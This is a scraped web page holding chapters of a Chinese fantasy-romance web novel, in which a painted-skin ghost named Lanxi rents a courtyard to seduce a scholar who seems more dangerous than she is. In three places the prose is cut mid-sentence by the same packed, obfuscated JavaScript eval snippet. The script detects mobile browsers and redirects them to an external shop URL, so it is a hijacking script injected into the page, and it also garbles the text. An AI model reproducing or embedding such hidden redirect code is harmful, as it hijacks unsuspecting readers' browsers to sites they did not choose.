随后沈雲清看向旁边还有些茫然的兰溪,有些急切地开口:“那个……这位娘子,能否借一步说话?老夫有几句话要单独与你说。” 见沈雲清面色奇怪,兰溪虽然心里嘀咕,但还是和他往旁边走了几步,来到一处背风的墙角。 沈雲清一把兰溪拉过去,就压低声音急急开口:“你这小鬼,老夫只送你一句话,快逃!现在,能跑多远跑多远!” 兰溪被这话弄得一愣,她下意识看了看远处等候的卫祁,又转过头道:“前辈,你找错人了吧?该逃的……难道不是卫祁吗?” 兰溪只觉得古怪,明明她才是那个画皮鬼,卫祁才是她的猎物。 沈雲清见兰溪完全会错意,重重叹了口:“哎!老夫不便与你透露太多,只劝你一句,若你真被他缠上了,到时候,你便是想逃,也插翅难飞了。” 兰溪听的云里雾里的,更觉得这老道在故弄玄虚,她撇撇嘴道:“你这老道,满口胡言,上次给我指路结果是随手一指,害我吃了一肚子冷风!这次还收了我这么多钱!谁知道你是不是又想到什么新骗术,又想讹我的钱了?” “啧!你这小丫头!怎么这般不听劝?老夫若要害你,何必多此一言?”沈雲清被兰溪气的够呛。 兰溪语气却强硬起来:“你是修士,我是小鬼,反正我们也不是一路人,你这修士的话,对我来说,能有几分可信?” 沈雲清看着兰溪油盐不进的样子,也不愿多说了,只是摇头叹息道:“你们这些精怪,游戏人间,只当是一段露水姻缘,可对那位来说,他若觉得你有趣,你还可以逃,他若真爱了你,你这样一只小鬼,怎么承受得起……” 他小声喃喃着,目光无意间落在兰溪脖颈间带着的那个扇形吊坠上,眼神微微一动,语气一转:“你师父……近来可好?” 兰溪有些吃惊,下意识摸了摸吊坠:“你还认识我师父?” “算是……旧相识吧。”沈雲清的声音低缓下来:“这半缘扇,寓意是‘相逢半缘,生死一线’,她倒是疼你这个徒弟,连这都给你了。” 兰溪听的半懂不懂,便道:“你若是和我师父相识,你这算命摊离倚香阁挺近的,想知道我师父近况,自己去看看她不就得了?何必来问我。” 沈雲清却漏出一丝苦笑,缓缓摇了摇头,没有解释。 兰溪看他一副欲言又止的样子,眨眨眼道:“哦!我明白了,你该不是以前还骗过我师父的钱,现在怕被她认出来,打出门去吧?” “你!你这小丫头怎么说话的?老夫是那种人吗?”沈雲清一时被气得吹胡子瞪眼。 兰溪和沈雲清拉拉扯扯半天,就在这时,沈雲清余光瞥到站在不远处等候的卫祁,他静静地站着,目光却幽幽地探过来,眉头几不可察地蹙了蹙。 沈雲清只感觉背后一寒,他赶紧收回视线,对兰溪摆摆手:“罢了罢了!老夫言尽于此了,你好自为之吧!” 兰溪也注意到卫祁还在等自己,不愿让他多等,本来就觉得沈雲清这老道说话颠三倒四听不懂,此刻也没心情纠缠:“好吧,我还有事,下次有空再来找您。” 兰溪不理会沈雲清欲言又止的眼神,转身朝卫祁走去,不好意思地笑笑:“等久了吧?” 卫祁的目光收回,落在兰溪身上,眼神间若有若无的冷意消退,重新柔和起来:“无妨,走吧。” * 牙行的伙计是个勤快的小伙子,听到有人要看房,也不顾天已黑麻烦,立刻提着灯笼,引着兰溪和卫祁来到琼花巷深处的一处小院。 巷子幽静偏僻,旁边民居也少,空气中浮动着花草的清香,与远处喧闹的主街相隔甚远。 牙人掏出钥匙打开木门,一边说着:“就是这儿了,这里虽然地段偏了些,但胜在风景好还清静,院子也齐整,您瞧,这条巷子种满了琼花树,开花时倒也漂亮……” 牙人一边絮絮介绍着,一边忍不住偷偷打量跟在兰溪后面的卫祁,夜晚灯笼光晕摇曳,卫祁那身月白衣衫血迹干涸成暗褐色,一张桃花面在灯下苍白的不像话。 牙人嘴上不说,却看的心里发毛,说话都小心了几分。 卫祁对牙人的介绍不甚在意,倒是兰溪听得格外认真,提起裙角走进小院,里里外外随着牙人的介绍一一看过。 牙人介绍道:“上一任住户走得急,很多东西都没带走,倒是省事了,您二位瞧着合适,现在就签了房契,今晚就能住进来。” 嗯嗯,不错不错!兰溪满意的点点头。院子很干净,房里正屋三间,家具虽然旧,但是一应俱全,最重要的是这地方偏僻,估计晚上连更夫都懒得绕进来,院墙也够高。 兰溪当时看中这个院子的时候,就在为自己那个勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202734|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引书生并将他吃干抹净的计划做准备,兰溪已经在脑子里脑补夜黑风高她该如何下手了。 兰溪自觉自己第一次干这种恶事,经验不足,更要找个万全之地,在这地方,就算事情败露,有修士打上门,她也方便跑路。 兰溪想了想,觉得这房子的房契必须她自己签,如果是卫祁签的,万一她成功了,这书生死了,官府一查,查到这房子有书生的记录,那岂不是引火烧身,说不定顺藤摸瓜就到她头上了。 但如果签房契的是她,到时候人一死她就卷铺盖走人,房子一扔,死无对证,反正换个名字换张皮,换个地方还能重来。 兰溪越想就越觉得自己简直是个计划通,从选址到善后全考虑到了!这就叫未雨绸缪! 就在兰溪还在心里打小算盘时,院墙之外,隔壁两户人家有两个妇人正坐在门口消食闲聊,她们远远地看向这边八卦起来。 “瞧呢,那院子终于租出去了,你说那租院子的是什么人?” “那小娘子从进门就一直戴着个帷帽,遮得严严实实,可她刚刚转身那会,瞥见一点脸,哎呦,那样子,那颜色,长的真叫个奇形怪状!真是比我五岁的儿子画出来的都丑……” “还有那个男的,长的倒是俊,可是看他那一身血,大晚上的,吓死个人!脸白的跟纸糊的一样,别是个痨病鬼吧?” “就是,这一对我看像是小夫妻,这两口子倒真是怪物凑到了一家!” “哈哈哈你这话说的,我倒觉得那小娘子遮遮掩掩的不敢见人,男的又这般招眼……该不会是哪家见不得人的小姐,相貌丑陋,私下跑出来养了个小白脸吧?” “啧啧,跑到这没人知道的地方,可不就没羞没燥地纠缠上了么?哈哈哈哈……” 卫祁立在门外的阴影里,视线看向不远处正在哄笑的妇人。 听见那些妇人说着“小夫妻”“凑一对”这样的猜测,卫祁想起了在茶馆里看到的老板和老板娘。 墙外的妇人说着粗俗露骨的话,兰溪隔着围墙也听到了,她愤愤地走出来,狠狠瞪了那边一眼,深吸一口气压下骂人的冲动。 她转身对卫祁道:“别理她们!这些人真是吃饱了撑着,就爱嚼舌根,我们进去吧。 卫祁看着兰溪气得微微起伏的肩膀,他微微停住转身视线落在远处。 巷子里突然卷起一阵阴冷刺骨的怪风,打着旋精准地扑向那两个妇人所在的门槛,灯笼忽明忽暗地剧烈摇晃起来。 “哎哟,这风……怎么邪性!”一个妇人汗毛倒竖打起哆嗦。 就在这时,另一个妇人坐着的小竹凳,毫无征兆地向后一滑。 “哎哟!”那妇人结结实实地摔了屁股蹲,尾椎磕在地面上,摔得人仰马翻。 “我的凳子!谁拽我凳子?”她又惊又怒地爬起来,四下张望,却见到周围一个人也没有。 阴风夹着呜咽,吹着地上的落叶纷飞,那两个妇人吓得脸白了,大喊着:“闹鬼了!这地方不干净!” 8. 且听春 两妇人尖叫着也不敢多停留,连滚带爬地冲回自家屋子,砰地将门关紧。 卫祁缓缓收回视线,眼底一抹幽光转瞬即逝,他手指松开,仿佛什么都没有发生。 巷子里的风来得快去的也快,兰溪心里升起一丝怪异感,她下意识四下张望,却什么也没发现。 真是怪了,哪来的邪风?她暗自嘀咕着。 正想着,转头看到卫祁柔和的目光落在自己脸上,他的语气像是安抚,轻声道:“不生气了。” 兰溪没想到他会开口安慰自己,她故作轻松挥了挥手:“我不生气,跟她们计较什么,你看,这不是遭了报应,老天爷都看不下去了。” 可兰溪还是心里存了隐隐担心,这巷子感觉也有点怪,万一真是闹鬼了怎么办? 她想起了茶馆那几个修士说的话,身上沾了鬼气的人最容易被其他鬼盯上,她不由自主地看向卫祁,他一个文弱书生,万一真有什么不长眼的鬼怪。 兰溪越想越觉得煞有其事,不行不行,她盯上的人自己还没得手,别下次来就被别的鬼怪捷足先登了。 兰溪觉得自己今晚不能走了,她倒要守在这里看看谁敢动她的人。 兰溪和牙人签房契签的很痛快,麻利地签字画押后,又数了约定的租金交出去,整个过程卫祁都未置一词没有多问,兰溪觉得这倒是省心,她也不需要和卫祁多解释什么。 牙人高高兴兴地把钥匙递给兰溪:“得嘞!娘子真爽快,以后这房子就归二位使用了,往后又啥事尽管来找。” 牙人又再说了些客套话,就匆匆提着灯笼走了,只剩下兰溪和卫祁留在屋里。 一时间只剩下两个人,无声的寂静蔓延开来,只听见院里枯叶在微风中的簌簌声。 一时间气氛有些尴尬,兰溪脸上带着僵化的笑容,手里握着那把铜钥匙,脑子里在飞速的运转着该怎么提出留下来的事?直接说留下来陪他?会不会太明显了?或者想个别的什么理由,死脑快想啊! 就在这时,卫祁走到她的身边,声音温和的像融融月色:“多谢兰姑娘为我费心张罗,院子很好。” 他顿了顿,看向外面暗沉的天色,关切道:“天色已晚,近来城里并不太平,兰姑娘可是要回去了?若是需要,我送你一程。” 他这番话说的体贴又周全,似乎全是为了兰溪着想,兰溪也不好拒绝。 兰溪只好含糊的“嗯”了一声,硬着头皮朝门外走去。她的手刚接触到冰凉的门栓,把门拉开,忽然听见“哗”的一声。 门外毫无预兆的雨点打了下来,大雨瓢泼而下,打在院子里的青砖上,密密的雨帘顺着屋檐落下来,门外一时间水汽氤氲。 偏偏这雨下的也怪,来的这样快,像是长了眼睛就在这方圆之内,又急又地下起来,远处稍远一些的地方,只看见朦胧的湿气。 卫祁不知道什么时候站在兰溪的身后,幽幽的声音带着几分惊讶和惋惜在兰溪耳边响起。 “哎呀,真不巧,竟然下雨了。” 兰溪回头看他,昏暗的光线下,他淡淡一笑,长长的眼睫压着眼尾一抹红,声音轻飘飘的落入兰溪的耳朵里。 “雨下的这般大,又没有伞……这下,怕是走不成了。” 兰溪听了这话,看了一眼门外的泼天的雨幕,心中一阵暗喜,这雨来的也太是时候了吧? 她立刻顺势露出为难的表情,装模作样叹了口气:“是啊……看来真的走不了了,今晚可能要在这叨扰一晚,你不介意吧?” 卫祁静静的看了兰溪片刻,嘴角勾起一个微不可察的弧度:“自然不会,只是委屈你了。” “不会不会……”兰溪非常不见外的在屋里找了个椅子坐下,然后看了看卫祁那身白衣上的血迹,开口道:“说起来,你还是要洗一洗好去了身上的血腥气。” 兰溪想起屋子厨房里有灶台又说:“我看那里有灶台,我烧点热水,你将就洗一下,再把沾了血的外袍脱下来。” 兰溪说干就干,直接跳起来跑进厨房,拾了些干柴,掏出火折子,就开始生火。 “需要提水吗?”卫祁的声音在旁边响起。 兰溪点点头:“要的,那边有一个木桶,水井在院子东南角……” 兰溪话还没说完,就看见卫祁提了个木桶走出去,不一会儿,他就提着满满一桶水回来了,毫不费力的把水倒进灶台上的锅里。 兰溪看着他一步一行的动作,觉得似乎过于轻松了,心里还有些诧异,卫祁一个文弱书生,真是看不出来,力气倒是不小,提一桶水跟提一盏灯笼似的。 灶膛里的火越烧越旺,发出噼啪的声响,锅里白色的水汽也开始蒸腾起来。 兰溪蹲在灶前,看着门外滂沱的雨雾,雨点打在石板上,将小院笼罩在一片模糊的喧嚣,天地间一室暖意被雨帘隔绝。 不知怎的,兰溪忽然想起以前看过的白蛇传的故事,白蛇为了接近喜欢的书生,不也是抬手间呼风唤雨,刻意制造了一段缘分吗? 兰溪联想到这,别忍不住对身边的卫祁问起:“卫郎,你听过白蛇传的故事吗?” 卫祁隔着腾腾的水汽看过来回答道:“未曾听闻。” 兰溪这才想起来书里的世界是另一个平行世界,自然也没有他那个世界的神话传说。 兰溪瞬间来了兴致,索性也是无聊,便挪了挪有些发麻的脚,一边看着灶火,一边讲起了故事:“这是一个民间故事,讲的是一条修炼千年的白蛇,为了报答一个书生的救命之恩,化形到人间去寻找他。 “她找到那个叫许仙的书生,为了制造相识,就施法下了一场雨把书生困住,就像今天这场雨一样大。” 兰溪说到这里下意识地瞥了一眼门外的雨。“然后她借了书生一把伞,一来二去,二人就熟了,后来还结为了夫妻……” 讲到这里,兰溪突然心里咯噔了一下,瞬间就讲不下去了。 她自己那点套路都被讲完了,兰溪在心里骂自己,死嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202735|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏要把这个故事讲出来! 卫祁听到这,却挑了挑眉,问道:“然后呢?” 兰溪见到卫祁发问,只好硬着头皮跳到结尾:“后来……书生发现白蛇是妖怪,看到一条巨大的白蟒,直接被吓死了。” “白蛇为了救他冒着生命危险去取仙草,不过人妖殊途,最后他们的缘分还是散了,书生出家当了和尚,白蛇被镇压在雷峰塔下……” 兰溪讲完了这个关于爱与分离的凄美故事,屋里的水汽更浓了,兰溪心里不知道为什么没来由有些闷。 她有些懊恼,干嘛要讲这个故事,现在自己成了另一个故事里的人,简直像在给自己唱衰。 卫祁在一旁一直静静的听着,他站在氤氲的水汽边缘,身形有些模糊,看不清他的表情。 兰溪只是感觉他出乎意料的平静,没有对妖怪的惊恐,也没有对爱情的唏嘘。 他只是微微偏头,轻声感叹一句:“倒是个至美的故事……不过这世上故事流传,在世人唇齿间流过,便口口相改,人们总偏好圆润称心的故事。” 兰溪听了也赞同地点点头:“那是难免的,我们听到的都是后话了。” 他漫不经心地垂下眼开口:“我也看过一些世情,我倒觉得更有可能的是,那白蛇本不为报恩,只为作恶,人心难测,妖心亦然,或许那书生见了枕边人原形,还管什么痴情难许,吓得巴不得妖物早点被降服,永绝后患才好。” 他像是想到了什么抬起眼,微微俯身,隔着帷帽的轻纱,和兰溪的眼睛对视:“兰姑娘,如果你是那书生,从一开始就知道了这一切,你还会不会……走进那场雨里?” 兰溪没想到对方突然这样发问,她看着灶台里被烧得通红的火炭,认真想了想才轻声开口:“这世上有许多自私无情之人,真心难遇,其他人我不管,但若是我,真心爱上一个人,又怎么忍心让她恐惧,让她痛苦呢?” “我大概……又会害怕,又会心疼吧,怕她被欺负,又心疼她修行千年,好不容易鼓起勇气走进这纷扰人间,最后落得这样下场,如果可以我希望她平安喜乐,自由自在地活着……如果那样她过的更好,那就不要沾染我的因果。” 兰溪细细想着,她说得认真,语毕才发现自己代入太深,忘了这只是个故事。 卫祁就这样静静听着,许久,他才极轻地叹了口气:“兰姑娘,你人太好了……” “好得……有些残忍。” 兰溪听了这话,心头一颤,她酸涩一笑,想起了她被迫得要去害人的任务,她的算计,她并不纯粹的初心,只觉得莫名讽刺又无奈。 同时兰溪又有些警惕,她试探性地发问:“卫郎刚刚的观点,也很是有趣,按你的假设,换作你是那书生,明知一切是陷阱,你会如何?” 卫祁没有立刻回答,他目光深深看了一眼兰溪,又看向窗外仿佛要永无止境、连绵不绝的春雨,轻声开口。 “我大概……会祈求那场雨,下得再久一点吧。” 9. 且听春 兰溪一时听不懂对方的想法,但是她没来由地心虚起来,她也弄不清楚对方到底在说故事还是在说现实,只好转移话题,拿起水瓢舀水:“都是些没根据的传说,可莫要当真……水开了,我给你打些热水,你快去擦洗一下吧。” 兰溪将热水舀进木盆里,然后推给卫祁:“快去吧,那边西厢房是空着的,我再烧些热水,不够了你再来拿。” 卫祁看着冒着热气的热水,也没有多说,道了声谢便端起木盆转身离开。 兰溪听着卫祁渐行渐远的脚步声,才舒了一口气,她总觉得卫祁看起来脑子不太聪明的单纯样子,可她偶尔又被他吓一跳,她觉得自己看不透他,他或许没那么简单。 这么想着,她多了几分起疑。 灶台的火渐渐熄灭了,窗外却雨下不停,兰溪胡乱想着心事,取了帷帽简单打了热水擦洗,又转身去正屋开始翻找这间房子留下来的东西。 她翻箱倒柜找到了两床干净的旧棉被,决定拿出来先凑合用着,又翻出几件旧衣服可以当成抹布擦拭房间。 正抱着被子犹豫该铺在哪里好,卫祁已经洗完走出来了,带着轻微的脚步声和水汽靠近,他轻唤了一声:“兰姑娘。” 兰溪心里想着事,正背对着门口忙着把被子往床上放好铺开,连卫祁走出来了叫她也没有注意到。 卫祁不再说话,只是从自然的旁边灯架上拿下来一个蜡烛,把兰溪身旁桌上的油灯点燃。 火苗凑近灯芯时,一滴滚烫的灯油从蜡烛上滴下来,落在他执着蜡烛的手背上。 “嗯……”他极低地闷哼一声,手微微一抖,蜡烛差点掉下去。 兰溪正弯腰拍打着被褥,闻声立马抬头看去,看见卫祁那双修长的手上青筋显现,白皙的皮肤上立刻被烫起一个红点。 “哎呦,怎么搞的?烫到了?”兰溪立刻丢下手上的活,走过去捧起他的手细看。 卫祁却长睫低垂着颤了颤,摇了摇头,声音低下去:“无妨,是我太笨了……” 兰溪瞥了一眼旁边的蜡烛,心中疑惑,这蜡烛是新拿的,才烧了很短的一截,灯油怎么会流的这么快? 但兰溪看到那伤口又是实实在在的被烫伤,便不去想太多:“说什么呢,这怎么能怪你?是这蜡烛不好。” 她又转身去了厨房,用葫芦瓢舀了一勺冷水,回来放到卫祁面前。 “没事,把手放进来浸着,浸一会儿就能止痛,不会起泡。” 卫祁顺从地把手浸入冰凉的水中不再说话,兰溪皱着眉头专注地看着他的伤口,觉得问题不大,许久后用干净的旧布巾包住他的手,抬头就看见卫祁就这样静静的盯着自己。 卫祁穿着一件素白的里衫,衣襟微微松着,露出一点清瘦的锁骨,墨黑的长发未束有些湿漉地披在肩头。 水汽蒸腾后他的脸没有白天那样苍白,反而带着玉质的温润,眉眼被湿发衬得更加漆黑深邃,长睫像沾水的蝴蝶翅膀,如水的眼眸就这样看着她。 都说灯下看美人,可是隔着昏黄的灯看这沾了夜露的书生,也是说不出的柔和俊美。 兰溪被看得一阵慌神,目光不经意掠过卫祁披散着有些凌乱的长发,便站起来下意识左右看了看,拿起一把桃木梳子。 “你的手不方便,我帮你梳发吧,你坐着就好。” 卫祁有些意外,还是依言坐在梳妆镜前,兰溪站在他身后,轻轻捧起一缕他的头发,像是丝绸一般微凉柔顺的手感,兰溪小心翼翼地用梳子向上梳理,生怕弄疼了他。 窗外的雨声渐小,变成了淅淅的小雨,兰溪闻着卫祁身上的香味,那是皂角香还混着别的说不出的清淡柔香,兰溪抬眼看到铜镜里卫祁如玉一般的面容。 兰溪终于忍不住问出了心里的一个猜测:“卫郎,其实我一直有个疑问,就是……你是不是短视?就是目不能远视,看不清远处的东西。” 兰溪想着说不定卫祁是个近视眼,其实他根本就没有看清过自己长什么样,不然她实在找不出什么理由解释他这样漂亮的人对自己画的这张脸的包容度。 “不曾。”卫祁淡淡回答,随即他又发问:“为何有此一问?” 兰溪抿抿嘴,想了想开口:“因为我长得并不好看,甚至……有些奇怪,你看我的脸,却没有被吓跑,还愿意与我相处。” 卫祁听了却微微一笑:“这世上美丑之分本也不该只看一张皮囊,况且莫说是人了,就是有些精怪千变万化的皮囊也难掩其本质丑陋,但你不是。” 兰溪梳头的手顿了顿,卫祁却轻笑着继续说下去:“反观我,像我这样来历不明,身无长物,还惹上一身麻烦的怪人,旁人唯恐避之不及,兰姑娘你也不是没被我吓跑吗?还对我颇为关照。” 听着卫祁这样的回答,兰溪有了一丝触动的微妙感觉,她放下梳子,指尖无意识擦过他微凉的发梢,她的思绪也被缠绕着,鬼使神差的,兰溪试探性的发问。 “你就……从未想过另一种可能吗?” “比如?”卫祁微微侧头,发丝从兰溪的手里滑落了几缕。 “比如……我其实不是什么好心的舞女,而是画本子里写的那种,专挑你这种落单书生下手的女妖怪,我做的一切事情,对你好,都只是为了……要你的命。” 这句话一说出口,兰溪就屏住了呼吸,她心里一悬,在等着卫祁的反应。 卫祁沉默的一瞬,轻笑着缓缓仰起头,墨发随着他的动作从兰溪的指尖擦过滑落,将他的脖颈展露出来,他的脖颈修长白皙,喉结轮廓清晰微微起伏。 “好啊。”他的声音很轻,带着好奇:“我已将脖颈展露出来,兰姑娘要怎么取呢?” 他侧过身来,水波潋滟的眸子看向兰溪,烛光在他的眼里跳动。 “是用这梳子吗?”卫祁目光掠过兰溪用过的那把桃木梳的钝齿。 “还是……”他视线下移,落在兰溪有些紧张攥紧的手上,她的指甲修剪的平整,他声音压的更低:“用你的手?” 兰溪被他这邀请的姿态弄得心神意乱,她强自镇定道:“若我真是妖怪,自然……自然会先吸干你的阳气,让你形销骨立,然后再开膛挖肚掏了你的心肝吃!” 兰溪试图说得凶狠一些,让自己显得可怕,卫祁听了,非但没有表现的恐惧,反而低低地笑了起来,他的笑声很轻,在寂静的房间里就像羽毛搔过心尖。 他摇了摇头,带着一丝玩味的轻笑:“你说的这些,那都是一些低级小妖急于果腹才会做的蠢事,简直是暴敛天物。” “我以前,倒是听过一些有意思的说法,真正道行高深有些趣味的大妖,他们可不会这么做。” 他声音很低,带着一丝若有若无的诱哄:“需要……我教你么?” “应该……如何做?”兰溪被他的眼神和话语吸引着,下意识的问出。 卫祁没有立刻回答,他靠近一步,微微俯身,两人的身高差让卫祁需要垂下眼才能看她,他目光缱倦地在兰溪的脸上流连了一阵。 然后他微微偏头,用自己高挺的鼻尖,极轻、极缓地,擦过兰溪的鼻尖,又沿着她脸颊的轮廓,若有若无的蹭过她的耳畔和颈窝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202736|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 兰溪感觉到温热的气息佛过自己的耳畔,皮肤激起一阵细密的颤栗,卫祁低低地声音响起。 “对他们而言……若要食人,亲吻就是啃食的开始,而爱就是把对方彻底融进身体血肉里,吞咽干净了。” 他耳语的每一个字都像是活的一般,钻进兰溪的耳朵里,缠绕着她的心脏。 兰溪感觉自己的脸烧了起来,耳朵里嗡嗡作响,可她又感觉到一种强烈的眩晕感,好像卫祁一靠近她,她就动弹不得,只想沉溺进去。 卫祁把头从兰溪肩颈移开,稍稍退开了些,认真看着兰溪惊慌失措又有些羞耻的眼睛,他看着兰溪,唇角的笑加深,声音轻柔得像情人的缱倦。 “所以,兰姑娘,若你真是妖怪……我也甘愿被你吃掉,把我的一切献祭给你,只求你不要离开我。” 兰溪只感觉自己的脑子好像轰的一声炸开,像是被什么蛊惑马上就要沉溺进去,他靠的太近了,气息又太过灼人,兰溪最后一丝理智在脑海里挣扎。 “我……我不是妖怪。”兰溪猛地向后退了一步,像是从梦中惊醒一般,她低喝一声:“我开玩笑的,你不要多想。” 兰溪已经不敢再看卫祁的表情,她感觉自己再多看他一眼都会万劫不复,她匆匆转身,爬上了屋里的床榻,然后丢下一床被子扔到地上。 “夜深了,快睡吧,你……你睡地上!” 说完她就踢掉鞋子,面朝墙壁,用被子把自己裹住,连头一起蒙了进去。 * 夜深了,雨不知何时已经停了,只有檐角残滴,一滴滴敲在石阶上。 “嗒……嗒……嗒。” 这样的声音正如兰溪的乱序心跳,屋子里熄了灯,暗黑中兰溪躺在床上,面朝着墙壁,她睁着眼睛没有睡着。 卫祁没有丝毫抱怨,就躺在床下的地上,安静的出奇,兰溪也拿不准他有没有睡。 兰溪听着自己的心跳声,她不敢翻身,也不敢弄出动静,但脑子里控制不住的在想一个问题。 卫祁……到底是一个什么样的人? 兰溪初见他的时候,是在破庙里,那时候兰溪觉得他可高冷了,也不爱理人,所以兰溪对他的初印象就是脑子不太好,眼神也不好,当时她还觉得自己运气好,捡了个眼瞎好骗的美书生。 可是渐渐相处下来,她发现卫祁偶尔展露出来的一面,又让她不知道怎么招架。 似乎并不是书生意气的撩拨,也不像落魄者的依赖,一种荒谬感涌上来,觉得他才更像话本里的鬼魅精怪,可是自己才是勾引他的那个画皮鬼啊! 兰溪隐隐怀疑对方可能察觉了自己的身份,可是如果对方什么都知道,那他为什么不跑? 他不仅不跑还凑得更近,还说出甘愿献祭这样的话,难道这个世界上真有傻白甜书生,知道她是鬼怪,也不愿意跑,还要决定用爱来感化她,这得多缺心眼啊? 如果他不傻,难道是另有目的?可是兰溪想了半天,也不觉得自己有什么可让人图的,图她穷?还是图她画皮画的丑?总不可能是图她人吧? 兰溪一个人撑着脑袋想半天,最后困意上涌也没想出个结果,她最后只想出个理由说服自己,可能卫祁并不知道她是画皮鬼,他只是真的缺心眼吧。 思绪像一团乱麻,眼皮却渐渐沉重起来,兰溪最后一丝残存的清醒也慢慢涣散,她不知不觉中沉沉睡去。 这天晚上在混沌的沉睡中,兰溪梦见自己躺在床上,而卫祁不知何时来到了床边,他俯身靠近,即使是在梦境里,他的面容也格外清晰惑人。 10. 且听春 他微微偏头,将头温顺地靠在她的脖颈上,微凉的发丝蹭着她脖颈上的皮肤,温热的气息贴着她的耳畔,有些微痒就像兰溪以前养的小猫趴在自己的枕边一样。 随后,兰溪感觉像是有看不见的东西缠绕着自己的身体,如同深海的藤蔓蔓延游走,亲昵地缓缓收拢,兰溪感觉自己好像被固定的动弹不得。 身上的东西明明没有侵略性,但是不容置疑的占有和纠缠让她怎么也摘不干净,只能一点一点的任由对方温柔紧密地包裹着。 在被缠绕贴近的窒息感中,他的声音贴着兰溪的耳廓响起,像是低沉的蛊惑,一遍又一遍的钻入她的意识里。 “兰姑娘……吃了我吧。” “兰溪……把我……吃掉。” “吃了我……” 这声音带着自毁一般的兴奋感,似乎献祭也变成一种甜蜜的诱惑,近乎虔诚地一遍遍低语。 兰溪在梦里被缠绕交织,她觉得一阵心悸和燥热,想要逃离却又被牵引着,不由自主地微微启唇…… * “咚!” 像是有重物落地,一声沉闷的声响响起,兰溪不知是在梦里沉浮了多久,猛地被这声响拽了出来。 她立刻睁开眼,从床上坐了起来,她摸了摸心跳,额角沁出了冷汗,她转头看去,外面已天光大亮,此时已是第二天上午。 她转头看向床下,卫祁似乎已经起了,地上原本铺着的那床被子被叠的整整齐齐摆放在一旁。 她掀开被子下了床,发现屋子里格外干净,原本散落的尘灰都被清理过,陈旧的家居表面像是被擦洗过,焕然一新。 卫祁起的这么早?还收拾了屋子?兰溪有些意外,她穿好衣服,推开房门。 小小的院子被晨光照得透亮,青砖的地面还残留着水渍,院子像是被打理过,地上干净的出奇,几个瓦罐和柴火也码放的整齐。 院子的中央,卫祁侧对着她坐着,似乎在忙碌着,他身上还穿着那身素白的长衫,墨发随意的用一根木簪挽起,几缕发丝滑落,露出他出尘的漂亮眉眼。 兰溪看见他手里似乎抓着什么,正在利落的处理着,脚边放着一个木盆,还装着些清水。“醒了?” 听到兰溪的脚步声,他缓缓抬头微笑。 “嗯。”兰溪应了一声,走过去,好奇的探头:“你在干什么?” 走近一些兰溪才看清,卫祁手里是一只羽毛凌乱已经断了气的禽类,体型不小,羽毛色彩斑驳,喙爪尖利,卫祁正拿着一把刀,手法熟练的剃毛放血。 “这是什么?哪来的?”兰溪有些惊讶。 “死在院子里的,哪掉下来的野鸡。”卫祁淡淡开口,手里的动作却没停:“干脆吃了算了。” 兰溪想起早上就是被一声重物跌落的声音吵醒的,想必就是这东西,这院子比较偏僻,她想着有野物误入也不奇怪。 她正想着,突然被墙角多出的东西吸引了目光,那里似乎凭空多出了一株植物。 一株约莫半人高,形态奇异的藤蔓状的植物,这藤蔓紧贴着墙壁,悄无声息地生长着,他的是茎干是暗沉的紫褐色,茎干粗大有力地扒着墙面。 兰溪觉得有些奇怪,她记得昨天来的时候明明没看过这植物,难道是昨天夜里太黑没注意到吗? 令人感觉微妙的是,这植物顶端的叶须正扒着墙壁,似乎非常拟人似的眼巴巴地望着卫祁手里正在被处理的那只野鸡。 兰溪看了半天,确定这藤蔓就是在看那只野鸡,卫祁手一动,藤蔓也会跟着转换角度。 卫祁似乎被那藤蔓看得有些烦了,他拿起刀从那野鸡身上飞快的削下一块肉,那藤蔓就立刻上前缠绕上去,然后把碎肉无声的消融进去。 “这东西还吃肉的?”兰溪看傻眼了,不可置信的指着那藤蔓。 “是啊,贪嘴的很。”卫祁已经把手里的禽类处理完了,顺手放在旁边干净的地方,开始擦手上的刀。 兰溪只在以前的世界里,听说过猪笼草、捕蝇草这样的植物是食虫的,可是会吃肉的植物,她还是头一回见。 兰溪被勾起了好奇心,这个世界果然不一样,连植物都长得这么神奇,她这么想着凑近了几步,俯下身来仔细看那植物。 看着那藤蔓近乎黑褐色的颜色,在阳光下极缓慢地伸展着,兰溪莫名觉得这东西还是更像触手,她忍不住伸出一根手指,小心翼翼的去触碰。 就在她伸出指尖时,那藤蔓仿佛感知到她的靠近,立刻欢快地伸出一小段末梢,如同撒娇一般轻柔地缠绕上兰溪的手指。 这藤蔓就像一只亲人的宠物,依恋地缠着她,那种冰凉的触感和纠缠的方式,兰溪脑子里突然就想起了昨天晚上的梦境,梦里似乎也有这样一股力量在缠绕着她。 